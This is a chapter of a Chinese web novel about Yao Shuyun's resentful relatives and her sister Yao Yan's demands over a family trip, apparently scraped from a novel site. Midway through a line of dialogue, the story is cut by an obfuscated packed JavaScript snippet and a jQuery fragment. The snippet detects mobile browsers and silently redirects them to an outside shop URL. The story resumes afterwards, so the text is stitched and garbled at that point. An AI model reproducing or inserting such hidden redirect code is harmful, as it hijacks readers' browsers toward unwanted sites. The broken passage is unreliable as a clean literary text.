24.姐妹(3)
作品:《一直走到天光大亮》 成长总是来得这样痛,让人猝不及防,也让人难以承受。
姚舒云不明白到底是怎么一回事儿,为什么自己的这些亲戚们仿佛忽然间就变成了另外一副模样,同年幼时看到的样子截然相反。
到底是她曾经太幼稚,没看到亲戚们的另外一面,还是当时太年轻,根本就没有细想过这些,又或者……
姚舒云不禁打了个冷战,“也许他们本就如此,是我自己太无知了。”
结婚后,尤其是30岁以后,世界残酷的一面开始纷纷登场,魑魅魍魉,人性深渊,简直五花八门,其丰富精彩之程度,真是让人叹为观止。
“呵呵”冷笑两声,姚舒云一想到“仅仅只是因为买了一套房子”,自己就成为了亲戚们的眼中刺、肉中钉,她就笑得难以遏止。
她想起先前,有一次跟母亲随意感叹地说:“哎,要是豫林妈还在就好了,她在家带孩子,我出去上班,这样生活也能轻松些。”
谁知母亲立即说:“那你可太好了吧,又有婆婆带孩子,又能上班挣钱,还能住大房……”
意识到自己说漏了嘴,她及时闭上了嘴。
言下之意,“你真是想得美,还能什么好事儿都让你占了?”
“所以我活该受苦,是吗?”姚舒云看着母亲,似笑非笑地问:“所以活该我一个人带孩子,而不配有任何人帮忙,是吗?就因为我买了一套房子,就因为豫林工资高一点,所以我们必须得受苦受罪,好叫大家心里都平衡,对吧?”
说这些话时,姚舒云微微皱起眉头,心却不怎么痛了,也许痛得久了,就麻木了。
“原来这世上,是没有人盼着你好的啊!连亲妈也不例外。”
这些道理,是她踩着一地碎玻璃,用血和泪慢慢悟出来的,每当想起就无比痛心。
那些她至亲至爱,血浓于水的亲人,却偏偏是她们,伤自己最深。
人生,当真是讽刺啊!
姚舒云也渐渐咂摸出一些人生滋味:亲人间全是勾心斗角,你攀我比,相互算计,当真是没意思极了。
对于亲戚们,她逐渐生了“懒”的心思:懒得打电话,懒得交流,懒得走动……觉得自己一个人静悄悄的,挺好。
不会有人无缘无故把自己怼一顿;不会有人把她当“情绪垃圾桶”,冲自己倾泻家里一团乱的糟心事;也不会有人明嘲暗讽、指桑骂槐,唯恐自己傻X听不懂,还非要怼脸问……
然而,她想要消停,可哪有那么容易消停?姐姐和母亲隔三差五打来电话,而且必须是视频电话,见面的第一句话,永远都是:“你在哪儿?你在干什么?”
“像是唯恐我一不小心背着她们发财了,”姚舒云同丈夫打趣道,“因此必须时时刻刻,要同她们报备行踪。绝不能有任何神秘和隐私。”
有时候电话接慢了,或者静音听不见而没有及时接到,就要惹来一通连番抱怨。
这让姚舒云日渐感到厌烦,而且因为视频通话不要钱,她们要一直东说西说,不是东家长就是西家短;要么就是抱怨自家男人没本事,挣不到钱还脾气大;要么就是自家孩子学习差,不听话……
总之,净是些鸡零狗碎的杂事儿。
“每次通话起码半小时起步,更有甚者,”姚舒云向丈夫周豫林竖起两根手指头,脸上表情丰富,“你敢信,一两个小时也是常态。”
“更关键的是,你还不能有任何不耐烦,一旦有,那就是瞧不起人,‘哼,有啥了不起的,你不就一套房么’?”姚舒云自演自导,学着母亲的样子和神态。
“有一次,我跟我姐说,‘先不聊了,有点儿累,小孩儿睡了,我想休息会儿’。我姐立马说‘你有啥累的,不就吃吃喝喝带个小孩儿吗’,我……”
姚舒云伸出一只手,抖动不已,好叫丈夫知道她有多无语,“仿佛就因为我有一套房子,我就变成了王后或公主,可以衣来伸手,饭来张口。”
到最后,她甚至忍不住笑出声来:“从来没有人关心我过得怎么样,是累还是苦,也从没有人问过我过得好不好,仿佛我本就过得很好。我又不擅长像她们那样四处诉苦,总之,你不说就代表你过得好。你上过大学,你就天生欠她们的,吃点亏帮点忙什么的那都是小节,还必须要时时刻刻充当她们的情绪垃圾桶,任其大倒特倒糟污粪水。”
姚舒云努力想让自己活得开心、快乐,努力想让自己变得阳光、开朗一些,可亲人们就像一个个能量黑洞,肆意吞污自己身上的活力和能量。
“每次和她们通完电话后,我都感觉自己整个人萎了一圈不止。”
说归说,玩笑归玩笑,姚舒云也仅仅是私下里跟丈夫唠叨两句,下次母亲或姐姐再打来电话时,自己依然精神充沛地跟她们聊天说话。
谁让她们是自己最亲最敬的人呢?除了自己,谁还能跟她们聊几句烦心事呢?
姚舒云十分体谅母亲和姐姐的辛苦,因此努力让自己好一点,再好一点,做好她们的心理情感师、电话陪聊员,替她们排忧解难,聆听心事。
对于自身心理上的一些苦和累,她称之为小烦恼,也就听之任之了。
然而,她想好好为亲人分忧,可现实却总不能如她所愿。
自从买房后,姐姐姚燕就跟变了个人似地,说话像下命令一样,说一不二,更有甚者,有时颐指气使,一定要别人都听从她的指令和安排才行。
这不,她已经第二次跟姐姐商量,等元旦放假时间长一点再去C市母亲家,可以多玩两天,然而无论她怎么说,怎么好好商量,姐姐全都置之不理,一定坚持这个周末就要过去。
“不行,就这个周末去,我们厂放假了,我想早点去咱妈那儿,再早点回老家。必须这个周末过去。”
“就没差几天,姐你稍微等一等……”
“不等了,就这个周末。要不是我们没汽车,也不会这样求你们。”
电话视频那端,姚燕一脸悲怆,仿佛自己受了多么天大的委屈似地。
姚舒云哑然,可事实明明就是她一直在低声下气地跟姐姐好好说话、商量,难道那个忍气吞声的人不该是自己吗?
她感到心里憋屈又愤懑,因为自己家有一辆汽车,而姐姐家没有,如果不依姐姐的话照做,那就是瞧不起人。
曾经因为房子一事,姚燕自觉比妹妹低了一等,可自从买上房子后,她终于能扬眉吐气,和妹妹平起平坐了。
现在,自己只不过是差辆汽车而已。
因此她觉得不需再忍让什么,必须要让妹妹姚舒云听从自己的安排,“反正就这个周末,到时候你们一早过来接我们,我这还有些要给咱妈带的东西。你们别睡懒觉,到时早点过来。”
姚燕态度生硬,丝毫不留余地。
“哎呀,姐,你咋这么倔呢?就几天,不能等一下吗?等元旦放假,到时候咱们一起……哎,对,我突然想起来,元旦好像免过路费,这样咱们可以省……”
“咋啦?是怕花钱?”姚燕讥诮地问。
“哎,不是……我是想刚好这样晚几天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411270|200449||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到元旦放假,一是假期长点能多玩两天,二还能省笔过路费,不正好一举两得嘛。”
“怕花钱早说啊!”姚燕口气十分酸溜溜,“哼,别怕,过路费我出。”
言语之间,自己竟是那十分抠门小气之人?!!
姚舒云一瞬间脑子“嗡”地一声巨响,她以为自己对姐姐的一片赤诚之心,无需多说,姐姐也自会感受得到。
想起当年,她初离婚回到父母身边时,一无所有,被所有人嘲笑,只因为她是整个亲戚家族里第一个离婚的人。
父母骂她丢人、不争气,白白给男方生了一个孩子,而自己却一无所有,亲戚们也笑话她是个离过婚的女人。
只有姚舒云,坚定地站在姐姐身边,告诉她:婚姻自由,离婚也不丢人。
“你是清清白白的,没偷没抢没嫖没卖。离婚只是因为男人陷入传销执迷不悟,而并不因为别的什么。你是个干干净净的女人,所以没必要觉得羞愧,也不要担心别人会说什么。走路做事挺直腰杆,不要觉得羞愧抬不起头。”
姚舒云反复劝解,终于令姐姐姚燕自信起来,她正常地找工作上班,而不在意别人会在背后说什么。
而父母也因为姚舒云对姐姐的支持和开解,也渐渐接受大女儿离婚的事实,不再对她言语辱骂。
不光是嘴上说说,姚舒云更是身体力行的帮助姐姐。
姚燕是冲动之下离婚,完全没任何心理准备,乍然离开自己一手带大的孩子,刚开始的一两个月,对孩子的强烈思念犹如利刃,日日夜夜在她心口上剜。
每天晚上下班回来后姚燕都趴在床上哭,一直哭到筋疲力竭。
而且因为母亲迷信,说出嫁女儿的哭声对娘家不好,因此她还不敢让母亲知道,只咬住嘴唇,无声痛哭。
每个周末,一下班,姚舒云就立刻坐两个小时的公交车,来到姐姐身边,宽慰她,带她散心。
而且有几次还不辞辛苦,坐几个小时的大巴车,辗转去到远在外省的姐姐前夫家,将孩子接过来,好一慰姐姐的思子之苦。
……
她虽没什么大本事,却也是尽己所能、真心实意地帮助姐姐,而且是在她最困难的时候。
当所有人都对姚燕投去嘲讽的目光和言语的侮辱时,只有自己这个妹妹,坚定地站在她身边,陪她一起接受闲言碎语的“暴风雨”,陪她捱过那段最苦最难的日子。
自然,作为亲生妹妹,这些都是自己理所应当做的,姚舒云从没有任何一丁点儿想要姐姐报答或感恩的想法,那不是家人间应该谈的词。
可最起码,作为姐姐,她至少是能理解自己,知道自己是个什么样儿的人吧?
任谁也能知道,用脚后跟也能想到,姚舒云说“省个过路费”,不过就是个托词,她只是想晚几天等元旦再过去的一个借口而已。
然而,万万想不到,几年前的事情姐姐非但完全不记得了,还……还竟会误以为自己是在乎那区区一两百块过路费的人?
想当初,每一次去外省接孩子,都会花费不少路费和住宿费,可姚舒云从不心疼。
没错,她的确不是个大方的人,但至少在对姐姐的事情上面,她自认没有抠过。
姚舒云闭上眼睛,感觉一颗心像被搅碎机反复碾过,已经说不上是什么滋味了。
她已经感受不到痛苦和麻木,只觉得被一种巨大的无力感包围。
这种无力感让她彻底放弃了所有的辩解和说辞,她什么都不想说了,只想自暴自弃。

